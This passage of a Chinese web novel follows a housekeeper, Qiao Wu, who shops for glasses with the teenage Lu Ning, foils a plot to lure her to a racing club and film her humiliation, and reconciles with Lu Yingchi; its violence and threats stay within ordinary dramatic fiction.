对外能成为掌权人工作上的左膀右臂,对内能将陆宅上下打理清晰,所以她的能力一定要是全方位的,父亲花了几十年积累才从司机走上来,她已经得到并且超过了,从某种意义上来说她是陆家的一个门面。 剧情里陆家那么快倒下,就是因为内里早已被蚕食烂透。 可这些陆柠并不明白,在她看来过去的乔梧只是个投机取巧偷奸耍滑还不忠心的狗腿子,所以这人本质上的能力早就被这些低劣的品质掩盖。 可接下来的十分钟看到乔梧展现出来的履历,她的世界观第一次被震碎了。 不论那些每年接近满分的成绩,光是各种奖状奖杯和资格证书都令人眼花缭乱。 陆柠没有办法将履历上的人跟过去的乔梧结合在一起,觉得很虚幻。 其实这一点乔梧也没有想到,身体被剧情支配那么久,可她一些人生重要阶段的结果依旧能符合她的真实实力,后来她想,或许一个普通人是不可能顺利成为陆氏管家的,那之后的剧情也就没有办法开展了。 “那你为什么还待在这里?”陆柠表情复杂。 以乔梧的实力以及家底,出去创业也好,走到更高的阶层也好,应该都轻而易举,怎么能甘愿困在陆宅。 “每个人的追求不一样。”乔梧倒是坦然,“每个阶段也有每个阶段想做的事,目前对我来说待在你们身边是最重要的,钱并不是很重要,我才22岁,如果真的有需要,以后我自然有很多机会和渠道得到想要的东西。” 穿到这个世界之前,她只是一个认真生活的普通人,对未来生活充满了各种各样的幻想,但总结来去,无非就是生活美满每天开心。 现在她已经拥有了过去几辈子都挣不到的钱,健康的活了下来,也从各种渠道学到了许多东西,精神很富足。 唯一没有的是上辈子没有得到的亲情,所以来到这个世界得到那十来年的温情让她很满足,也不想放弃。 思想还很浅薄的陆柠摇摇头:“我不理解。” 她不理解待在陆家这些人身边有什么是值得的。 “你以后会理解的。”乔梧顺了顺她的头发,“但是有一点,我现在有选择是因为我有能力,希望以后你也能替自己选择。” 陆柠脑回路比较清奇:“所以你就跟触手怪一样在我们几个中间做选择吗?” 乔梧难得被她堵住了话头。 她脑袋低下去靠在陆柠肩头,笑得不行:“没有做选择,你们我全都要。” 骤然的亲密接触差点让陆柠手里的牛奶撒到沙发上,她黑着脸:“什么意思?” “我说的选择是待在这里或者离开。” “你要离开?!” “说不准呢。”担心硌着她,乔梧摘下眼镜,漫不经心地说,“择木而栖择主而事。” “我语文20分。” 陆柠将她的脸推走,“不要跟我说文言文。” 乔梧用眼镜戳了戳她气鼓鼓的脸:“我的意思是,你们要争点气,才能请得起我。” 陆柠:“跟我说干什么?我才十三岁,你也要我跟他们一起去撬保险柜?” 去跟陆尽之说啊,跟那两个到现在还不敢下来的傻子说啊! 越想越气,她问:“你今天怎么还不叫他们起床?” “起这么早是来看他们笑话的吧?” 陆柠掩饰性地喝了口牛奶。 但乔梧太了解那两个人了,尤其是包袱那么重的陆宣:“他们没脸下来的,一会儿让人把早餐送到他们房里,你既然醒来了,今天跟我出去走走?” “去哪?” “配眼镜,昨天没时间。” 陆柠默了默:“你搞搞清楚谁是管家,还让我陪你?” 乔梧挑眉:“那你去不去?” “……哼。” 乔梧不仅仅是要配眼镜,而且要给楼上两个少爷一个缓冲的时间,所以把人支开了。 果然没多久,陆宣就狗狗祟祟地下了楼,正好跟同样狗祟的陆应池迎面撞上。 陆宣在家里也戴着墨镜,从头到脚精致得仿佛下一秒就要去走红毯,见到陆应池那一瞬间就立刻抬起下巴。 不过陆应池比他自在多了,毕竟昨晚没喝醉。 两人站在电梯里,可谁也没有按楼层,安静许久,双手插兜的陆应池突然开口:“我瞧不起你。” “陆应池,管好你那张不会说话的嘴。”陆宣靠在电梯墙上,看都没看他就懒懒道,“我脾气没有那么好。” “是么,会哭会闹的我看着挺好啊。”陆应池嘲讽道,“你跟她关系什么时候熟到这种地步了?” 不知想到什么,陆宣忽然笑了:“一直很熟,她说要永远给我一个人当狗的消息,要给你看看吗?” 猜想成真,乔梧一定是群发的消息! 陆应池深呼吸两口,双手紧紧握拳,字都是从紧合的齿缝里蹦出来的:“巧了,她也给我发过,给你看看?” “……” 默了两秒,陆宣轻嗤:“谁在意,你那么在意,给你好了。” 说完他按下电梯,等电梯门一打开就头也不回地朝大门走去。 陆应池站在他身后大吼:“你不要的老子也不要!” 陆宣没理他,上了车后没第一时间系安全带,而是坐了好几分钟才缓过神。 从早上醒来开始到现在,他脑海里一直在循环播放昨晚的每一幕,导致他现在有点应激反应。 他紧紧捏着方向盘,心想,不管以前如何,乔梧到底给多少人发过消息。 但经过昨晚,她是真的不能要了。 可恶。 他摘下墨镜,露出一双微红微肿的眼睛。 然后开着车去医院给老头添堵,哦不,道歉。 - 来到学校后的陆应池越想越气,趁着下午没课直接骑着车去了市郊。 胡卓脸色阴沉的看着他离开,拨了一个电话出去:“洪承,他去哪了?” “零环线。” 零环线是坐山,离市区很远,整座山就是一个奢靡的销金窟,周围是赛车环线,山顶是个巨大的顶级娱乐公馆,就等着赛车结束这些人肾上腺素飙升时一掷千金,陆应池喜欢玩重机,出手又大方,谁都喜欢跟他过去。 电话那头的洪承正开车跟着陆应池的重机:“我说你都惹到他了,就别老作了吧,我找个机会让你们凑一桌?” “不用,我一会儿过来,你找个机会帮我看着他的手机。” “你真要处理他那个管家啊?好歹也是陆家的人。” 胡卓吐出一口烟,眼神晦涩:“他家那个管家看起来都没我们大,我找人查过,应该是老陆总那边的人,才回国没几天就把自己当个人物了,陆应池看不上她,上次还被气得问我怎么处理。” 洪承想了想也是,反正他家里那些佣人也没多重要:“行。” 此时的乔梧正在听销售推荐镜框,这家店有很多种奢侈眼镜品牌,一对一专业服务,哪怕是选眼镜她也不愿意亏待自己。 她看了会儿,忽的问坐在沙发上一直不吭声只吃小蛋糕的陆柠:“有建议吗?” 陆柠瞪着眼,一时说不出话。 怎么会有种一起出来逛街的感觉? 一般家里人穿的衣服饰品都是定做,或者品牌会直接送到家里,所以她长这么大没怎么逛过街,也没人陪她就是了,提建议这种事她还真没经验。 她莫名有点紧张,放下蛋糕狐疑问:“你信我啊?” “参考参考,你不总玩棉花娃娃么,看你搭的衣服都挺好看的。” “娃娃比你好看多了。”虽然这么说,但陆柠还是走上前看了看那几款镜框,又下意识扭头打量了一下乔梧。 为了试镜框乔梧并没有带眼镜,专注看过来时眼里跟融了一团水似的。 陆柠忽然觉得这些镜框都配不上这双眼睛。 “这个吧。” 她指向一副细框银边。 “跟我想的一样。”乔梧示意销售,“就这个吧。” “好,您请稍等。” 没想到她会这么果断,陆柠心里顿时满满胀胀,她抿着唇轻按了下胸口。 忽然听乔梧说:“作为你帮我的谢礼,一会儿给你的娃娃买些衣服。” 陆柠的手还按在胸口,她张了张嘴,可却被胸口的心跳吓到了。 因为爷爷不喜欢不务正业的人,她本身学习成绩又不好,所以喜欢娃娃这件事她从不跟任何人说,哪怕是乔梧。 可乔梧不仅知道,却还要给她的娃娃买衣服。 她怔了很久没说话,直到乔梧的手机响了。 “哪位?” 电话那头的洪承飘了一会儿,心道这管家听起来年纪不大啊,声音还挺好听,他语气都好了点儿:“是乔管家吧,我叫洪承,是陆应池的朋友,陆少今天来零环线喝多了非要闹着去跟人跑圈,我们拉都拉不住,要不你们家派几个人过来?” 闻言乔梧挑了下眉,陆应池飙不飙车她不清楚,但洪承是个什么东西她心里门清。 这些少爷玩得嗨了怎么可能会想到给她打电话? 但她还是说:“地址。” 洪承才说完地址,就听到对面传来冰冷的嘟嘟声,他气笑了。 这管家脾气挺大啊,敢挂他的电话! 胡卓说得对,一会儿过来有得她好看。 乔梧并没有给陆应池打电话,而是拨通了另一个号码。 这次对面接得很快,男人的声音一如既往微沉却干净:“什么事?” 乔梧问:“零环线老板的电话,你有吗?” “理由。” “陆应池。” 男人又缓声问:“我是谁?” 乔梧不明所以:“陆尽之?” 听筒里传出声似有若无的笑:“发你微信。” 不到一分钟乔梧手机就震了震,她点开后先是看到那串电话,然后目光就定在上面几条消息那里一动不动。 “我永远是您的人,我不要任何名分,我能见您一面吗……” 一眼过去满屏绿色,全是“她”过去一厢情愿的证明。 陆尽之从来没有回复过她,所以这个聊天框早就被刷下去了。 乔梧呼吸骤停:“!!!” 她把这事儿忙忘了。 没等她有所反应,绿色聊天气泡下面出现了第二条白色微信。 陆尽之:“乔梧,第二次了。” 乔梧茫然。 第二次什么? 13-20 第13章 第十三章择木而栖 应该不是第二次发骚扰短信,因为陆尽之被骚扰的时间已经不能用次数为单位了。 可面对她的疑问陆尽之没有再回。 算了,不要提前预支焦虑,等他回国再说吧。 零环线的消费一般人去不起,能拿到老板电话的人就更少了。 得知陆应池的确在零环线,但没有喝酒只是在比 赛,乔梧就没再多问,而是让帮忙盯着。 洪承既然敢把电话打到她手机上来,自然不会让她联系上陆应池的,乔梧懒得再去多做无用之功。 收好手机,她勾了陆柠一把:“走吧,给你的娃娃买娃衣。” “还管我做什么,你不是要去找陆应池?”陆柠拍开她的手,“反正我只是选项E,PlanB。” 我的感受毫无意义。 乔梧惊讶:“这不是会一个单词么。” “?”陆柠咬牙,“这是重点?你不是要去找陆应池?” 乔梧微微俯身。 陆柠抬头,看见那双戴着她亲手挑的镜框的眼睛,朝她轻轻一眨。 紧接着她的脸被乔梧微凉的指尖轻轻捏了一下,这人笑意盈盈:“让他等着。” 陆柠后知后觉,乔梧回国后每天衣服不重样,每一套都精心搭配让人眼前一亮,这样的人审美怎么会差到来听她一个天天穿校服的小孩建议? 零环线那个地方什么牛鬼蛇神都有,乔梧相信陆家人,却不相信其他人,所以她没打算把陆柠带过去。 买完东西把陆柠送回家后她才挑了辆车去了零环线,那边山路陡峭,轿车吃不开- 零环线山脚起点,人声鼎沸冲天,临近黄昏这里人越来越多,年轻人都喜欢跑夜道,更爽更刺激。 尤其是今天还来了位常客。 众人视线中心的男人头戴黑色头盔,一条长腿抵在地面,另一条曲起搭在机车上,他的护目镜是掀开的,额前碎发被汗水打湿,露出一双如狼的眸子。 有人在旁边开了瓶香槟,激起更多人的欢呼声:“陆少今天都赢了几圈了,还跑呢?!” 陆应池缠着手套,撩眼望着开香槟那人,凉声道:“离远点。” 他现在一看到酒就觉得全身不自在。 零环线他挺久没来了,今天心情不好想来跑两圈,没想到越跑越差。 脑子里一会儿冒出陆宣的挑衅,一会儿又是乔梧站在他面前问他凭什么的样子。 草,他堂堂陆家四少爷。 乔梧一根墙头草凭什么瞧不起他?! 他今天没有回家,到现在晚饭时间了,她也一个电话都没打过来。 光顾着哄没断奶的陆宣去了是吧! 陆应池套好手套,将护目镜拉下来,搭着车头,视线扫过旁边这些男男女女:“还有谁来?” “都累了。”洪承没忘记今天胡卓要干什么,所以一直想要把陆应池哄到山顶的公馆去,“你精神头好,但大家又不如你,不都得休息一下么,先上去坐会儿?” 公馆里乌烟瘴气,陆应池懒得去,没人跟他比他就自己骑。 一句话没说就骑着车走了。 望着他的背影洪承叹了口气,这少爷心思怎么越来越难猜了? 正好这时胡卓打来了电话:“乔梧人呢,怎么还没来?” “那我哪里知道。”洪承也纳闷,“她说了要来,这都一下午了。” “陆应池呢?” “山上。” “你把他稳住,我让你们过来的时候你们再过来。” 洪承随口应了声:“所以你到底要干什么?” “你还没见过那个乔梧吧,长得真踏马带劲,哪里有当管家的样子。”胡卓嘴巴不干不净,“我在这里放了摄影机,害老子在那么多人面前丢人,等她来了找几个人按着,老子也要好好让她尝尝是什么滋味,丢这么大人到时候陆家怎么可能还会要她做管家,陆应池也出气了。” 胡卓那点脏手段洪承一清二楚,其实他想说陆应池有点护短,但想想既然讨厌的话应该也不会护,左右跟他也没太大关系,一个管家而已,怪罪不到他头上就是了。 陆应池这个人没太多心眼,任人随便哄就信了,连今天拿他手机拉黑了那个叫乔梧的管家他都不知道,一会儿再神不知鬼不觉拉回来就就行。 他才挂完电话,就听到身后一阵喧哗以及数不清的口哨声。 扭头一看,一辆改装过的奔驰CLRG770越野停在身后,大气又酷炫,任何一个喜欢车的都会下意识被吸引过去,这辆车第一次在零环线看到,也不知道是谁开来的。 来零环线的虽然有很多富二代,但有钱人也分等级,该看的还得看,更别提这里还有些混进来想要结识有钱人的那些混混了。 陆应池走了,大家的目光自然都聚集在了这里,直到车门打开。 “卧槽!” 也不知道是谁先发出来的感慨,引得其他人更加好奇了。 洪承往前走了两步,视线就被狠狠地钉在那辆车旁。 开越野的女生不少,也都很酷。 可那辆车旁的女人并不像来这边赛车的,穿着灰色的针织无袖T恤,腰身纤细盈盈可握,下身高腰开叉牛仔裙长至脚腕,露出白皙的小腿和黑色的短靴,她头发半挽,戴着一副细框眼镜,知性又冷酷。 跟她身后的越野车搭起来,气势秒杀在场所有男男女女。 这是搭讪都不敢上前的气场,洪承盯得目不转睛。 紧接着他发现有点不对,这人怎么冲着自己来了?! 难道他,他的魅力终于被人感知到了? 他汗毛竖起,愣愣地看着这个人走到他面前,粉唇轻启:“洪承?” “是,是我。”洪承手激动得有点发抖,“你是?” 乔梧没回答,而是笑了笑:“上车么?” 没等他话音落完,洪承就迫不及待地抢答了:“上!现在就上!” 说着就朝那辆越野走去,急得差点没站稳。 乔梧以前并不是陆家的管家,加上出国两年,跟陆家几人的关系比较复杂,所以他们身边的朋友基本没人认识她,她也没猜错。 但她在梦里可是见过这些人无数遍了。 见洪承上了车,她也坐上驾驶座,关上门隔绝掉外面那些人的视线,淡声道:“安全带。” “好好好。”洪承手忙脚乱系好安全带,一点都担心自己会被人吃掉,这么漂亮的女生,被吃掉也是他的荣幸好吧。 再说了零环线这里每天上演无数次419,他一点都不奇怪。 第一次见到这种级别的美女,还那么主动,他一点都没有像过去那么着急,装模做样聊了起来:“美女你叫什么?” 话音才落,车门锁啪嗒一下锁上了。 听得洪承心里都抖了抖。 “我想借用一下你的手机。”乔梧答非所问,“可以吗?” “当然可以!” 洪承几乎是把自己的手机飞速解完锁扔出去的:“你手机没电了吗?” 乔梧拿到手机后点开通话记录,胡卓的名字就明晃晃挂在上面,她不算太意外,看完后她就把手机扔到了后面。 洪承:“?” 乔梧单手掌着方向盘,偏过头:“陆应池呢?” “……” 原本冲到脑门的血气在这瞬间就冷了下来,洪承脸色有点不好看。 但他跟陆应池,有眼睛的人都知道要选谁。 “美女,你就别想他了,陆应池连女孩子手都没拉过,小雏鸟一只。”他状态放松下来,靠着椅子轻嗤,“还不如我呢。” “不是你打电话让我来找他的?” “我什么时候……”洪承的声音戛然而止。 冷静下来后他忽然就觉得这声音耳熟了,他今天就给一个女的打过电话! 他忘了自己的表情管理:“乔管家?!!” “乔梧。” 乔梧后来收到的消息里,洪承发来的是公馆的包间号,但她没蠢到自己送上门,来到上下看到洪承的时候没有看到旁边有其他人,心里就有了大概,所以才先把这人带到车里锁着。 “陆应池呢?”她再次问。 还在震惊中的洪承忘了表情管理,甚至忘了自己的手机已经被扔了,指着山道:“自、自己骑车上山了。” 他没想到胡卓说乔梧长得带劲能有这么劲,更没想到会这么年轻! 陆应池这样的管家都讨厌,怎么不上天呢! 他不讨厌啊,来他家!来管他! 乔梧点点头,发动车子。 洪承 还没太反应得过来,下意识顺着谎言说:“我也拦不住他,你要去追他吗,你追不上的,他速度一直很快,这路那么陡又不好开,不然把车停这儿,我们坐电梯上去等他快一点。” 到时候直接把乔梧带到包间去。 说实话他现在真的很好奇,按照胡卓的计划进行后,身边这只黑天鹅会变成什么样子。 零环线又不是所有人都会飙车,有电梯直接可以通往山顶公馆。 “乔管……” 话没说完,他身体猛地往后仰,车像离弦的箭一样冲了出去。 不得不说,这车性能是真牛逼啊! 他一把抓住扶手:“乔管家,你要干什么!” 跟他的惊魂不定比起来,乔梧表情都没变一下,甚至声音更冷静了:“胡卓找我要做什么。” “我怎么知道!”洪承心脏狂跳,“你先停下来!” “我才回国没多久,不太适应开国内的车。”乔梧踩下油门,云淡风轻道,“你坐稳。” 什么?!!! 自己开车和坐别人的车压根就不是一个体验,洪承平时连陆应池的车都不敢坐,都是在起点或者终点等着,现在一听差点没给乔梧跪下。 又是一个急弯,他猛地一下闭上眼,生怕下一刻就要交代在这儿了。 乔梧怕不怕他不知道,但他是真怕! “我说我说!”他慌张道,“他找了人等你过去,要拍你出丑的视频!” 乔梧还以为是多厉害的手段,没想到是这么上不得台面的,她轻笑:“也是,你们这种酒囊饭袋,脑子能好到哪里去。” 洪承崩溃:“你慢一点啊!” 乔梧并不打算慢下来,她还挺喜欢这种感觉的,感觉自己还活着,她忽然有点理解陆应池了。 虽然是山道,但为了避免有人中途放弃或者出事,在途中会设置一些停车点。 乔梧拐了没两个弯,忽然看到前面有个熟悉的身影,正站在停车点抽烟。 她放慢速度,将车停在了陆应池身后。 陆应池没有回头,谁上来了跟他都没关系,他只是不想去公馆而已。 直到身后响起熟悉的声音:“陆应池。” 不知怎么,陆应池那瞬间的反应是将烟藏起来,可手心合拢被烟头烫到他才反应过来,没被光照到的半张脸隐在黑暗里:“你怎么?” 太久没说话,加上被烟熏了,他声音有点哑。 看清车上还有另一个脸色惨白的人,他顿时沉下脸:“他在你车上干什么!” 乔梧手肘靠在车窗沿,懒声道:“他说你在这儿喝酒赛车,拉都拉不住,让我来看看。” 洪承:“……” 他默默往下缩了缩,以减少自己的存在感。 “?”陆应池怒了,卷起袖子就要冲过去,“你踏马敢造老子的谣?” 是没被酒泼过?! 原本洪承还以为自己能全身而退,没想到乔梧根本不按照计划来,愣是打了他一个措手不及,现在根本就没有办法抵赖,手机还被扔了。 他立刻道:“哥!池哥!真不是我的主意!” 在陆应池要绕过去抓人的瞬间,乔梧伸出手按住他的肩膀:“休息够了吗?休息够了跟我一起上去。” 陆应池低骂:“去哪?不知道提前给我打电话?” 乔梧没说话,只是拿出自己的手机给他打了个电话,果不其然,打过去就是忙音,显然陆应池那边没有一点反应。 他再笨也知道是发生了什么,洪承这胆子不敢动他,自然是奔着乔梧来的。 陆应池表情风雨欲来,在黑名单里找到了乔梧的名字。 今天能碰到他手机的,也只有洪承一个人。 “下来。”他将手套扔过去,重重砸在洪承脸上:“你不想活了是吧!” 现在的洪承只敢躲在乔梧身后,祈祷她不要把车锁打开,大气都不敢出。 “账一会儿再算。”乔梧抬抬下巴,“走了。” 陆应池黝黑的眸锁着她:“有脑子吗,知道驴你你还去?” “去啊。”乔梧并不在意那里等着她的是谁,她意有所指地往旁边看了一眼,“不去你怎么知道你身边都是些什么混账东西。” 陆应池踢了一脚路灯,伸出手指警告地点了点鹌鹑似的洪承,却没有再说一句话,护目镜都没戴就直接骑上车走了。 乔梧无声笑笑,也跟在他身后。 “乔管家…”洪承这下彻底萎了,战战兢兢抱着安全带,“陆少他…好像很听你的话。” 胡卓还说什么陆应池讨厌这个管家,这哪里是讨厌的样子? 如果真要是讨厌谁,陆应池根本不会跟那个人说话,也不会看那个人一眼。 但明显在乔梧出现的一瞬间,陆应池整个人都紧绷起来了,那哪里是对一个管家的态度,分明像是他自己家人! “都是胡卓逼我干的!”他干净撇清关系,“您帮我说说好话吧!” 乔梧压根就没注意听他说话,也懒得回答他。 车开到山顶后,这里已经有很多人等着了,多半都是等着陆应池上来,如果这少爷开心了,一会儿也会把他们的单买了。 但今天的陆应池谁也没搭理,靠近他的人无一不被骂了声“滚蛋”。 大家吓得都不敢靠近,直到后面有辆车停了下来,陆应池臭着脸走过去,打开副驾驶的门,伸手将上面的人直接拽了下来。 他一点都没收着力道,已经吓得不清的洪承直接被甩在地上拖了老远。 “乔!” 陆应池不乐意听他的嘴里叫这个名字,捂住他的嘴,俯身用另一只手按住他的脖颈压到地面:“靠近她一步试试?” 众人立刻呆在原地,谁不知道洪承都是跟陆应池混的,刚才在山地还聊天呢,现在说翻脸就翻脸了? 这时,另一道车门也打开,见到上面走下来的人,周围顿时变得安静。 乔梧拿回洪承的手机,神色自若地走到陆应池身边,点了点他的肩膀,没看地上的洪承一眼:“走了。” 公馆一楼灯光闪耀,音乐声震天响,但上了二楼走过隔音门就会安静很多。 坐在包厢里的胡卓一直没等到人,忍不住打电话催促。 乔梧垂眸看了一眼,忽然停下脚步,将手机递到陆应池耳边,她压低声音:“嘘,别出声。” 陆应池抱着头盔看到来电人,忍住了再踹一觉洪承的冲动,然后接通电话。 接通瞬间,胡卓不耐烦的声音就响起来了:“你怎么回事,她到底什么时候来!这都几点了!” 陆应池拎过洪承的衣领,黑压压的视线压着他。 后者忙道:“来了来了,马上就到!” “快点,209。”胡卓声音昂扬起来,“陆应池没来吧?” “没有!”察觉到身边骤然恐怖的气息,洪承感受到陆应池的手已经在掐着他的脖子了,他闭着眼,“他还在跑圈。” “那就行。”胡卓哼笑道,“等替他调教了乔梧,拍了视频给他,他自然就消气了。” 陆应池忍不住了,他一把丢掉洪承,抢过那个手机,阴恻恻道:“消你妈。” 电话那头猛然没了声音。 手机被陆应池砸在墙面,四分五裂。 他也顾不上乔梧在哪,径直朝着209快步走去。 包间里的胡卓不可能认不出来那是谁的声音,陆应池怎么会接到电话?! 那个语气…… 他心里忽然恐慌起来,爬起来推开带来的几个男人着急往门口跑。 可他才堪堪打开包厢门,门口就已经堵上了一个高大的身影。 左手臂弯抱着头盔的陆应池头发散乱,垂眼站在那里挡住了所有的去路,此时的表情比那天在游艇上还要吓人。 胡卓心虚讪 笑:“陆、陆少……” 陆应池一言不发,一脚将他踹到桌前,上面堆着的酒塔瞬间稀里哗啦碎了一地,胡卓后背火辣辣地疼,身上被酒淋得透湿。 紧接着他眼前一花,是陆应池抬起手。 在那个头盔砸过来的瞬间,胡卓连滚带爬躲开,但还是被打中了肩膀,疼得他差点失声。 陆应池抬脚走进包厢,从一地玻璃碎片里捡起头盔,走到胡卓面前,踩着他想要抬起来扶住桌面的手问:“你刚才说你要做什么?” 被胡卓带来那些人都认识陆应池,见状谁也不敢动,正要悄悄溜走,却见门口又走进来两个人。 一个是衣衫狼狈的洪承,另外一个却是陌生高挑的女人。 在包厢昏暗暧昧的灯光下,女人的脸上多了层朦胧的滤镜,有点不真实。 见陆应池还想把头盔砸下去,乔梧适时出声:“差不多了。” 陆应池举着头盔许久没动静,直到手臂被轻轻拉了一下,他才沉默着将头盔扔到一边,只是依旧踩着胡卓的手。 看到这一幕的胡卓哪里还清楚发生了什么。 那天陆应池被灌酒时他不在场,并不知道陆应池怎么会那么狼狈的,但现在看这架势。 除了乔梧还有谁?! 能把陆应池欺负成那样还只能吃闷亏,现在仅仅一句话就安抚了暴怒的陆应池。 这踏马叫看不上家里的管家?! 乔梧对身后的洪承道:“关门。” 连带那几个一起叫来的,都不能出去。 说完后她扫了周围一圈,拿起那个摆在角落的摄影机走到胡卓面前,对准了他的脸,好声好气地问:“我来了,找我有什么事吗?” 胡卓手被压在玻璃上,疼得他冷汗直冒,咬着牙不吭声。 哪里想到陆应池直接用脚在他手上碾了碾,语气森然:“哑巴了?” 胡卓很崩溃,你们不都在手机里听到了吗,为什么还要再听一遍! “我错了!”他颤着声说,“我不该骗你过来!不该起歪心思!我再也不敢了!” “看着这里说。”乔梧指尖点了点摄影机,“为什么那么想讨好陆应池?” 胡卓一愣。 连陆应池都没想到,眼神有一瞬间的错愕。 乔梧很有耐心:“我不喜欢别人骗我。” 这一瞬间胡卓心如死灰,他知道什么都完了。 乔梧的神态分明就表示着她什么都知道。 胡卓抖着声音:“因为想攀上他,他有钱有势好哄好骗…” 别说他在发抖,这些声音落在陆应池耳朵里,都让他忍不住晃神。 他不是没脑子的人,真心假意看得出来,胡卓这些人在他眼里也根本不重要。 但他回想自己过来的十八年,身边能有谁对他是真心? 即便是乔梧…… 能用钱买来的都不是事儿,只要他洒下那么多钱,有的是人围着他转、恭恭敬敬称他一声陆少,多少也能买到一点吧。 但从来没有人在他面前说这些话。 哪怕他心里那么清楚自己有多恶劣。 乔梧一定要当着他的面撕开这层布吗? 就像当着他的面瞧不起他一样。 他狠狠踩住胡卓的手:“闭嘴!” 包厢里瞬间安静下来。 乔梧直起身摄影机头放在了沙发上,把电话打给了老板,让老板来处理。 然后对陆应池说:“让他起来。” 陆应池心烦意乱地挪开脚。 胡卓才刚扶着桌面站起来,迎面就甩来了清脆又重重的一巴掌,半张脸在最初的发麻过后就是火辣辣的疼。 他瞳孔微微一缩,呆滞地看着乔梧。 整个包厢的人都没想到她会动手。 视线中心的乔梧打完人一句话也没说,而是转身走到了洪承面前。 预感到她要做什么,洪承竟然一步也走不动,就呆呆站在那里等到那一巴掌打下来。 公馆的老板来得很快,推开门的时候只看到一片狼藉,以及缩着脑袋不敢说话的另外几人。 “是陆少啊。”老板像是没看到其他人有多惨,径直走到陆应池面前,“今天没让您尽兴,是我的错,下次过来所有消费算我的。” 陆应池靠着桌沿抽烟,没理他。 老板也很识趣,他能在这种地方开店,不仅有钱也有人脉,高低也算个人物,只是不该得罪的就不能得罪。 他转而看向在场唯一的女士,今天接到的电话都是她打的,这个女士这会儿正低着头在擦手,长得那叫一个惊心动魄。 “您好,我叫姜园,女士您怎么称呼?”他递过去一块手帕。 乔梧接过去,道了声谢:“乔梧。” 姜园并没有在印象里找到哪家姓乔的面子那么大,不妨碍他察言观色,这人一看就不普通。 “我们还有话要说。”乔梧脸上溢了丝笑意,“这些人就辛苦您安排了。” 就这场景还用得着安排? 但是这里的人有自己的处理方式,姜园已经把在场情况摸明白了,立刻让人把其余几人带出去:“行,那就不打扰了,需要重新安排一个包间吗?” “不用谢谢。” 几人被带走后,包厢里就只剩下了两个人。 乔梧没说话,只是摆弄着摄像机,里面传出胡卓的声音。 一遍又一遍。 终于,一直在抽烟的人将烟怼在烟灰缸里,站直了身体,踩着玻璃碎片走到乔梧面前:“我没接到电话,你为什么要来?你一个人,到底知不知道这里有什么等着你!” 他恨不得把乔梧脑袋扒开来看看里面到底有什么,居然还敢让洪承上车! 他深知不敢想,要是这摄影机真的拍了什么,乔梧要怎么办,他要怎么办! 他积攒了太久的情绪,在一瞬间全部爆发,大声吼道:“就那么不相信我,想把我带回去?!乔梧你踏马到底有没有搞清楚自己的身份,你只是个管家,只要我不满意,随时都能让老头赶你走!” 乔梧摆弄摄像机的动作微微一顿,笑了声:“知道。” “那你还敢这么肆无忌惮!” 乔梧坦然道:“因为我恃宠而骄。” “?” 陆应池被惊得说不出话。 嘴巴微张,看起来可爱又滑稽。 谁宠她了?! 其实有一点乔梧跟陆柠撒谎了。 她再优秀,只要是在陆家,就做不了一个合格的管家。 没有哪个管家会这么对主家的人,这么无法无天。 她真的只是恃宠而骄。 也只是在赌,赌十多年过去了,跟她一起长大的这些人都还值得。 好在她赌赢了。 换作任何一个言听计从的管家,都没有办法管得住他们。 因为这世上只有一个跟他们有过共同过往、豁得出去越过那条线并且全然相信他们本质的乔梧。 “不是说过吗,如果你真的让我走,我就走,也没有要来带你回去,只是来让你洗洗眼睛的。”乔梧微微仰起头,“看清了么,你身边都是些什么东西。” 陆应池眸光晦暗不明:“你用这个来嘲笑我?” 他不明白,乔梧难道忘了她以前也是这样的人吗?有什么资格来说他。 乔梧弯了弯眸:“没有。” “陆应池,我跟你认识十八年,你为什么觉得我会相信一个外人?”她轻声说,“因为相信你不会那么做,我才会来,我一直都相信你跟他们不是一样的人。” 陆应池像是没听清:“什么?” 乔梧笑意浅浅:“你忘了?你幼儿园拿过那么多小红花。” 眼前高大的身影像是颤了颤。 陆应池直挺挺地站在她身前,嗓子里像是堵了一团吐不出来的气,闷得他头脑发胀,心跳加速。 他以为,以为那些事现在只有他一个人记得。 只有他记得他拿到的那些小红花,都送给了谁。 因为他曾经,一直把她当做要努力追逐,才追得上的人。 他亲自养了一匹马,漂亮的黑珍珠,只等着未来有一天能送给他心里的公主。 后来他的公主不知道什么时候,消失了。 终于,他鼻息重了几许,往后退半步虚坐 在吧台。 “我没有。” 才成年不久的年轻男人迷茫又后怕。 他确定过去是讨厌乔梧的,但如今的眼前人,他却那么害怕她真的受伤,怕她失望。 “我没有。”陆应池低下头,干涩的嗓子哑声重复,“没有让谁调教你,没有喝酒,也没有逃课,我只是气不过。” 气不过连她这么卑劣的人都不专一,还想着陆宣。 气不过他求都求不来的人,被陆宣说得一文不值。 气不过乔梧瞧不起他。 气不过自己差点害了她。 “我知道。”乔梧起身替他抱起那个头盔,像过去接他放学那样,轻声哄他,“走吧,回家吃饭了。” 回到家的时候已经晚上九点多了。 乔梧今天打了那两个人只觉得手脏,回来后先去洗了个手。 陆应池从回来就不怎么说话,坐在一楼发呆。 在楼上看到有车进来的陆柠原本抱着娃娃想来给乔梧炫耀一下今天的娃娃穿搭,却只见到陆应池。 想到今天乔梧逛到一半就去给陆应池收拾烂摊子,陆柠就来气。 她抱着娃娃走到陆应池前面:“喂。” 陆应池没抬头,他今天没心情跟小孩吵架。 “我说陆应池,你能不能争点气。”陆柠瞪着他。 陆应池掀了掀眼睑,又垂下去:“闲就去多敲点核桃。” “你能不能不要再让乔梧操心了?” 闻言陆应池抬起头,视线发沉地望着她。 “我看过她的履历了,她虽然为人差了点,但个人能力是不错的。”陆柠小大人似的教训,“她说了,你们不争气,是请不起她的,她会选择什么木。” “什么?” “我才十三岁,又不会挣钱,这话总不能是对我说的吧?”陆柠理不直气也壮,“所以一定说的是你们,她点你呢。” 陆应池:“……” 第14章 第十四章发错人了 陆应池觉得自己要被乔梧的反复给折磨崩溃了,不是才说过相信他的吗,怎么还想走? 他明明已经考上大学了,这还不算争气! 等乔梧洗完手回来后,陆应池早已经黑着脸上了楼。 “你小叔呢?” 陆柠摆弄着娃娃,笃定地说:“可能是发现自己太没用,羞愧上楼了。” 乔梧:“?” 今天这事对他打击那么大? “别管他,接受真实的自己也是需要时间的。”陆柠一脸天真。 反正有句话乔梧倒是说得没错,家里这些人没一个是争气的。 包括自己,陆柠很有自知之明。 那咋了,她年纪小脑子笨,出去洗个盘子都要给人砸得七七八八,换来的钱不够给乔梧买个眼镜腿。 所以她心安理得躺平。 能力越小,责任越小。 至少她不会丧心病狂去撬爷爷的保险柜。 “乔梧。”她揪了揪娃娃的小领结,有些别扭地喊。 “嗯?” “我什么时候转学?” 闻言乔梧笑了:“不是一上学哪都疼吗?今天这么主动?” 